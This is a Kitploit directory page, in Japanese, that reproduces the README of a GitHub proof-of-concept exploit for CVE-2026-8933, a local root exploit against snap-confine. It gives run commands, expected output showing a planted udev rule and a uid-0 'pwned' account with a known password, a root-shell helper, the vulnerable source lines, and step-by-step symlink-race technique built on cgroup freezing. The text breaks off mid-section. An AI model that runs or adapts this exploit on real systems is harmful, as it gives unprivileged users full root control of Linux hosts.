Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8933 — CVE-2026-8933 の動作する PoC:snap-confine のマウント名前空間におけるシンボリックリンク競合を悪用し、root 所有の udev ルールを設置して、systemd-udevd を経由したローカル root 権限取得を可能にする。 | Kitploit
ツール/GitHubGitHub/songzzzz/cve-2026-8933
特権昇格脆弱性分析エクスプロイトペイロード開発
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

CVE-2026-8933 の動作する PoC:snap-confine のマウント名前空間におけるシンボリックリンク競合を悪用し、root 所有の udev ルールを設置して、systemd-udevd を経由したローカル root 権限取得を可能にする。

リポジトリを見る
220日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-8933 — snap-confine のマウント名前空間レース → ローカル root シェル

動作する PoC。完全なローカル権限昇格をエンドツーエンドで再現。非特権ユーザー (uid 1000) から実際の uid-0 root シェルまで — パスワード不要、操作不要、既存の特権も不要。

非特権プロセスが set-capabilities された snap-confine を利用して、root 所有の udev ルールをホストの /run/udev/rules.d/ に書き込ませる。その後 systemd-udevd がそのルールの PROGRAM= ペイロードを root として 実行する。組み込みのペイロードは既知のパスワードを持つ uid-0 アカウントを作成するため、su - pwned (または ./_rootshell.py) で root シェルが得られる。

コンポーネントsnap-confine → sc_replicate_base_rootfs() (_msc_273.c 内の snapd 2.73 ソース。テストしたホストは snapd 2.76.3 を実行しており、依然として悪用可能だった)
分類ローカル権限昇格 (シンボリックリンクレース → /run/udev/** への任意の root 所有ファイル作成 → root としてのコード実行)
結果非特権アカウントからの uid=0(root) シェル
信頼性16 回の実行: 7 回が最初の試行で成功、残りは 2 回目の試行で成功。3 回以上を要したことはない
移植性ホスト非依存: 対象の snap、アプリ名、cgroup スコープ、uid、snap-confine のパスはすべて実行時に検出される
root 権限不要 (§9 を参照)

目次

TL;DR · 1. クイックスタート · 2. 要件 · 3. 期待される出力 · 4. 脆弱性 · 5. レースに勝つ方法 · 6. ペイロード · 7. パッケージの内容 · 8. 設定 · 9. 権限とクリーンアップ · 10. 影響と修正 · トラブルシューティング · 参考文献 · 免責事項

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

期待される出力(抜粋):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

ドライバは自身の後始末を行います(ルール、ペイロード、仕込んだアカウント、スクラッチディレクトリとそのマウント)。KEEP=1 を指定するとアカウントが保持され、その後 root シェルを対話的に使用できます:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. クイックスタート

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] は t18 + _ftrig をビルドし、ターゲットを検出して、 勝利するまでエクスプロイトを実行し、udevd をトリガーし、root ペイロードを検証して クリーンアップします。100% 12 は以下のすべての測定で使用された値です。0.3% 40 も機能します(より厳しいクォータで、試行回数が増えます)。

何かに触れる前に、ドライバーは自動検出されたターゲットを出力します:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. 要件

  • systemd ホスト(ユーザーマネージャーが動作していること — エクスプロイトはユーザースコープの cgroup.freeze を操作します)、
  • 脆弱な snap-confine が set-capabilities(cap_chown,cap_dac_override,cap_sys_admin,…)でインストールされていること — set-uid-root ではないこと、
  • t18 と _ftrig をビルドするための gcc + libfuse3(pkg-config fuse3)、
  • 少なくとも1つのインストール済み snap で、その /snap/<snap>/current ディレクトリの最上位に 通常ファイル が含まれていること — この DT_REG エントリが脆弱な open() を実行させる原因となります(例: firefox、core22 など)。そのような snap であればどれでも動作します。SNAP=<name> で特定のものを強制できます。

./t18 info は検出されたターゲットの snap、app、base、unit、scope、confine、およびエントリ数/通常ファイル数を表示して終了します — インストール済みの snap でホストがエクスプロイト可能かどうかを素早く確認する方法です。

3. 確認できるはずのもの

攻撃成功の証拠

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

root権限で動作する snap-confine がホスト上で作成するファイル:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

およびそれが指し示すペイロードスクリプト(uid 1000 によって書き込まれ、systemd-udevd によって uid 0 として実行される):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine は直後に、同じエントリの AppArmor によって拒否されたバインドマウントで終了します — その時点でファイルはすでに作成され、内容が書き込まれています。

ルートシェル

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

信頼性

研究から最終的な汎用ビルドに至るまで、_t18poc.sh を 16 回実行したところ、すべて LPE で終了しました(うち 7 回は最初の試行で成功し、残りは 2 回目の試行で成功)。2 回を超える試行を必要とした実行はありませんでした。各実行は自身の後片付け(ルール、ペイロード、仕込んだアカウント、スクラッチディレクトリとそのマウント)を行います。

4. バグ

snapd 2.73、sc_replicate_base_rootfs()(ソースは _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);

snap-confine は set-capabilities (cap_chown、cap_dac_override、 cap_sys_admin、…) としてインストールされており、set-uid-root ではないため、 ほぼ root 相当のケーパビリティを持ちながら 非特権 の euid を保持します。その結果:

  • mkdtemp() は /tmp/snap.rootfs_XXXXXX を 攻撃者所有 で作成し (511 行目と 362 行目の間)、さらに
  • open(full_path, O_CREAT|O_TRUNC, 0644) はシンボリックリンクを辿り (O_NOFOLLOW なし)、生成されたファイルは 2 行後の fchown() まで 攻撃者の所有物となります。

どちらのウィンドウも非特権のローカルユーザーによって悪用可能であり、この PoC が行っているのはまさにそれです。

5. レースに勝利する

レース 1 — スクラッチディレクトリ (シンボリックリンクの差し替えで解決)

  1. SNAPD_DEBUG=1 + stderr 用の パイプ + ドレイナー子プロセス を用意し、 マーカー unsharing the mount namespace (per-snap) が現れた瞬間に ユーザースコープの cgroup.freeze に cgroup.freeze=1 を書き込みます。 これにより snap-confine は mkdtemp() の 前 に約マイクロ秒の レイテンシで凍結されます (ファイルのポーリングでは 50〜200 µs 遅すぎましたが、 パイプの read() は書き込み側のコンテキストで起床されます)。これでレースは レースではなくなり、スコープは cgroup.freeze によって決定的に ステップ実行されます (スライスあたり約 1 システムコール)。
  2. 凍結中に: rmdir("/tmp/snap.rootfs_XXXXXX") (自分が所有している) を実行し、 symlink("/tmp/snap.rootfs_XXXXXX.dA", "/tmp/snap.rootfs_XXXXXX") を 作成します。mount(2) は ターゲットパス内のシンボリックリンクを辿る ため、 523/530/535 行目の MS_BIND/MS_UNBINDABLE/tmpfs マウントはすべて .dA に 対して行われ、一方で snap-confine の scratch_dir 文字列 は依然として 我々のシンボリックリンクを経由して解決されます。
  3. /proc/<pid>/mounts が mounts=2 tmpfs=1 squashfs=0 を示すまでスコープを ステップ実行します — 535 行目の tmpfs がマウントされ、536 行目の レプリケーションループはまだ実行されていません。
  4. シンボリックリンクを unlink() し、.dB を指すように再作成します。.dB は 同じシンボリックリンクファームを持つものの tmpfs に覆われていない 2 番目の ディレクトリです。これでループは scratch_dir/<entry> を .dB 内に 解決するようになります。

レース 2 — ファイル所有権 (fchown ウィンドウ内での書き込み)

ツールをダウンロード